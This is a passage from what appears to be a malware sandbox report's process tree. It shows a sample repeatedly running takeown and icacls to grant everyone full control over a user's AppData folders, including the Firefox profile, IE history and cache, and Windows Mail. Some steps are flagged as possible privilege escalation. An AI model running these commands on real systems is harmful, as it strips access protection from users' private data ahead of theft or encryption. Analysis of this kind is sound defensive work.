- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn /grant everyone:(f)
  2⤵
  PID:2364
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn
    3⤵
    PID:1304
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn /grant everyone:(f)
    3⤵
    PID:1352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches /grant everyone:(f)
  2⤵
  PID:2228
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches
    3⤵
    PID:2056
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches /grant everyone:(f)
    3⤵
    PID:572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer /grant everyone:(f)
  2⤵
  PID:1780
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer
    3⤵
    PID:1100
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer /grant everyone:(f)
    3⤵
    PID:2144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\GameExplorer && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\GameExplorer /grant everyone:(f)
  2⤵
  PID:796
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\GameExplorer
    3⤵
    PID:872
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\GameExplorer /grant everyone:(f)
    3⤵
    PID:1744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\History && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\History /grant everyone:(f)
  2⤵
  PID:2396
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\History
    3⤵
    PID:1624
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\History /grant everyone:(f)
    3⤵
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\History\History.IE5 && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\History\History.IE5 /grant everyone:(f)
  2⤵
  PID:804
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\History\History.IE5
    3⤵
    PID:3064
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\History\History.IE5 /grant everyone:(f)
    3⤵
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012024100120241002 && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012024100120241002 /grant everyone:(f)
  2⤵
  PID:2208
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012024100120241002
    3⤵
    PID:2988
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012024100120241002 /grant everyone:(f)
    3⤵
    PID:1572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\History\Low && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\History\Low /grant everyone:(f)
  2⤵
  PID:2928
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\History\Low
    3⤵
    PID:2876
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\History\Low /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:2076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Ringtones && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Ringtones /grant everyone:(f)
  2⤵
  PID:2236
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Ringtones
    3⤵
    PID:2688
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Ringtones /grant everyone:(f)
    3⤵
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files /grant everyone:(f)
  2⤵
  PID:2852
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5 && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5 /grant everyone:(f)
  2⤵
  PID:2564
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5
    3⤵
    PID:1432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\48RNM7SN && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\48RNM7SN /grant everyone:(f)
  2⤵
  PID:584
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\48RNM7SN
    3⤵
    - Possible privilege escalation attempt
    PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4RXRX1VH && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4RXRX1VH /grant everyone:(f)
  2⤵
  PID:2096
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4RXRX1VH
    3⤵
    PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\84790KOV && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\84790KOV /grant everyone:(f)
  2⤵
  PID:2028
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\84790KOV
    3⤵
    PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\84EXSCRK && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\84EXSCRK /grant everyone:(f)
  2⤵
  PID:2660
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\84EXSCRK
    3⤵
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BRLV7L3G && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BRLV7L3G /grant everyone:(f)
  2⤵
  PID:2940
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BRLV7L3G
    3⤵
    - Modifies file permissions
    PID:784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\J7FHNNOW && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\J7FHNNOW /grant everyone:(f)
  2⤵
  PID:2792
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\J7FHNNOW
    3⤵
    PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JF1SL0MP && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JF1SL0MP /grant everyone:(f)
  2⤵
  PID:2920
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JF1SL0MP
    3⤵
    PID:1268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OX8Z8GR5 && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OX8Z8GR5 /grant everyone:(f)
  2⤵
  PID:3056
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OX8Z8GR5
    3⤵
    PID:1776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO /grant everyone:(f)
  2⤵
  PID:2092
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO
    3⤵
    - Possible privilege escalation attempt
    PID:2360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word /grant everyone:(f)
  2⤵
  PID:832
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word
    3⤵
    PID:1716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low /grant everyone:(f)
  2⤵
  PID:1052
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low
    3⤵
    PID:2164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Virtualized && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Virtualized /grant everyone:(f)
  2⤵
  PID:1524
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Virtualized
    3⤵
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\WebCache && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\WebCache /grant everyone:(f)
  2⤵
  PID:2668
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\WebCache
    3⤵
    - Modifies file permissions
    PID:1924
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\WebCache /grant everyone:(f)
    3⤵
    PID:944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Mail && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows Mail /grant everyone:(f)
  2⤵
  PID:1940
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Mail
    3⤵
    PID:1704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Backup && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Backup /grant everyone:(f)
  2⤵
  PID:1856
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Backup
    3⤵
    PID:284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Backup\new && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Backup\new /grant everyone:(f)
  2⤵
  PID:692
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Backup\new
    3⤵
    - Modifies file permissions
    PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery /grant everyone:(f)
  2⤵
  PID:1764
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery
    3⤵
    PID:2500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Media && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows Media /grant everyone:(f)
  2⤵
  PID:1652
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Media
    3⤵
    PID:1844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0 && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0 /grant everyone:(f)
  2⤵
  PID:2132
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0
    3⤵
    PID:1768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Sidebar && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows Sidebar /grant everyone:(f)
  2⤵
  PID:1048
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Sidebar
    3⤵
    PID:1648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Sidebar\Gadgets && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows Sidebar\Gadgets /grant everyone:(f)
  2⤵
  PID:2416
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows Sidebar\Gadgets
    3⤵
    PID:1552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft Help && icacls C:\Users\Admin\AppData\Local\Microsoft Help /grant everyone:(f)
  2⤵
  PID:1688
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft Help
    3⤵
    PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla && icacls C:\Users\Admin\AppData\Local\Mozilla /grant everyone:(f)
  2⤵
  PID:2356
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla
    3⤵
    - Modifies file permissions
    PID:340
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla /grant everyone:(f)
    3⤵
    PID:872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox /grant everyone:(f)
  2⤵
  PID:1740
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox
    3⤵
    PID:2468
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox /grant everyone:(f)
    3⤵
    PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles /grant everyone:(f)
  2⤵
  PID:324
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles
    3⤵
    PID:3052
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles /grant everyone:(f)
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.Admin && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.Admin /grant everyone:(f)
  2⤵
  PID:3060
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.Admin
    3⤵
    - Possible privilege escalation attempt
    PID:3044
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.Admin /grant everyone:(f)
    3⤵
    PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release /grant everyone:(f)
  2⤵
  PID:536
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release
    3⤵
    PID:2712
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release /grant everyone:(f)
    3⤵
    PID:2420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\cache2 && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\cache2 /grant everyone:(f)
  2⤵
  PID:2728
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\cache2
    3⤵
    PID:3012
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\cache2 /grant everyone:(f)
    3⤵
    PID:2152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\cache2\doomed && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\cache2\doomed /grant everyone:(f)
  2⤵
  PID:112
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\cache2\doomed
    3⤵
    PID:2844
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\cache2\doomed /grant everyone:(f)
    3⤵
    PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\cache2\entries && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\cache2\entries /grant everyone:(f)
  2⤵
  PID:2708
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\cache2\entries
    3⤵
    - Modifies file permissions
    PID:2980
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\cache2\entries /grant everyone:(f)
    3⤵
    PID:2236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\safebrowsing && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\safebrowsing /grant everyone:(f)
  2⤵
  PID:2644
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\safebrowsing
    3⤵
    - Modifies file permissions
    PID:1256
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\safebrowsing /grant everyone:(f)
    3⤵
    PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings /grant everyone:(f)
  2⤵
  PID:2412
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings
    3⤵
    PID:1616
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings /grant everyone:(f)
    3⤵
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main /grant everyone:(f)
  2⤵
  PID:2572
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main
    3⤵
    PID:2096
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main\ms-language-packs && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main\ms-language-packs /grant everyone:(f)
  2⤵
  PID:2028
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main\ms-language-packs
    3⤵
    PID:1384
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main\ms-language-packs /grant everyone:(f)
    3⤵
    PID:784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main\ms-language-packs\browser && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main\ms-language-packs\browser /grant everyone:(f)
  2⤵
  PID:2936
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main\ms-language-packs\browser
    3⤵
    PID:2184
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main\ms-language-packs\browser /grant everyone:(f)
    3⤵
    PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main\ms-language-packs\browser\newtab && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main\ms-language-packs\browser\newtab /grant everyone:(f)
  2⤵
  PID:2392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main\ms-language-packs\browser\newtab
    3⤵
    PID:2124
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\settings\main\ms-language-packs\browser\newtab /grant everyone:(f)
    3⤵
    PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\startupCache && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\startupCache /grant everyone:(f)
  2⤵
  PID:1752
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\startupCache
    3⤵
    - Possible privilege escalation attempt
    PID:2448
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\startupCache /grant everyone:(f)
    3⤵
    PID:1472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\thumbnails && icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\thumbnails /grant everyone:(f)
  2⤵
  PID:2536
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\thumbnails
    3⤵
    - Modifies file permissions
    PID:1136
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\id09dv1m.default-release\thumbnails /grant everyone:(f)
    3⤵
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Temp && icacls C:\Users\Admin\AppData\Local\Temp /grant everyone:(f)
  2⤵
  PID:2748
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Temp
    3⤵
    PID:448
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp /grant everyone:(f)
    3⤵
    PID:944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Temp\1739162879 && icacls C:\Users\Admin\AppData\Local\Temp\1739162879 /grant everyone:(f)
  2⤵
  PID:1296
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Temp\1739162879
    3⤵
    PID:1932
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\1739162879 /grant everyone:(f)
    3⤵
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin && icacls C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin /grant everyone:(f)
  2⤵
  PID:328
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin
    3⤵
    PID:2524
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin /grant everyone:(f)
    3⤵
    PID:1748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Temp\Low && icacls C:\Users\Admin\AppData\Local\Temp\Low /grant everyone:(f)
  2⤵
  PID:1680
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Temp\Low
    3⤵
    PID:760
- - C:\Windows\system32\icacls.exe
